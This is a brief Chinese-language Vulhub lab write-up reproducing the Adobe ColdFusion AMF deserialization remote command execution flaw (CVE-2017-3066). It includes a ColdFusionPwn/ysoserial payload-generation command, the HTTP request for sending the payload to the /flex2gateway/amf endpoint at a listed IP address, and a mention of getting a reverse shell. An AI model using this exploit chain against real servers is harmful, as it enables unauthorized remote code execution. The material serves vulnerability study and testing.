dobe ColdFusion AMF 反序列化远程命令执行 (CVE-2017-3066)

漏洞环境均基于Vulhub

介绍

Adobe ColdFusion 是由 JJ Allaire 于 1995 年创建的商业快速 Web 应用程序开发计算平台。

版本

Adobe ColdFusion 2016 Update 3 及更早版本、ColdFusion 11 Update 11 及更早版本、ColdFusion 10 Update 22 及更早版本在 Apache BlazeDS 库中存在 Java 反序列化漏洞。

复现

访问http://216.127.164.238:8500/CFIDE/administrator/index.cfm，初始化

使用ColdFusionPwn生成 POC poc.ser：

java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser

放进包里的时候一定是放文件，不能复制！

http头

POST http://216.127.164.238:8500/flex2gateway/amf HTTP/1.1
Host: 216.127.164.238:8500
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-amf
Upgrade-Insecure-Requests: 1
Content-Length: 2855

抓包不能只看别人复现，要自己抓个包，看特征改

反弹shell

生成反弹poc，添加到burp

反弹成功